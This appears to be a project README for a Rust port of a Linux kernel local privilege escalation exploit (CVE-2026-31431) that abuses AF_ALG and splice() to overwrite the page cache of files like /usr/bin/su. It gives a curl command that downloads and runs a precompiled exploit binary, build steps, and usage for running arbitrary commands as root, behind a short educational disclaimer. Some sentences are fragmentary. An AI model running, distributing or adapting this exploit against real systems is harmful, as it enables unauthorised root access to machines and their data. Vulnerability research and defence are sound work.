
Copy Fail exploit (CVE-2026-31431) but in Rust.
Copy Fail exploit (CVE-2026-31431) but in Rust, a critical vulnerability chaining AF_ALG and splice() to achieve a 4-byte page cache write, leading to local privilege escalation on major Linux distributions.
Based on the research and PoC by Xint Code.
[!CAUTION] This project is for educational and research purposes only. Running this exploit on systems you do not own or have explicit permission to test is illegal and unethical. Use this code responsibly to understand and defend against similar vulnerabilities.
AF_ALG and splice() syscalls via libc.You can download and run the pre-compiled PoC binary directly:
curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs
/usr/bin/su).Clone the repository and build the binary:
git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release
Run the exploit without arguments to default to /bin/sh:
./target/release/copyfail-rs
Or specify a custom command to run as root:
./target/release/copyfail-rs "whoami > /tmp/pwned"
The exploit leverages a bug in the authencesn implementation within the Linux kernel's Crypto API (AF_ALG). By chaining sendmsg with MSG_MORE and splice(), it's possible to overwrite small chunks of the page cache for arbitrary files (like /usr/bin/su) with a malicious ELF payload.
AF_ALG socket and binds to authencesn(hmac(sha256),cbc(aes)).AF_ALG vulnerability.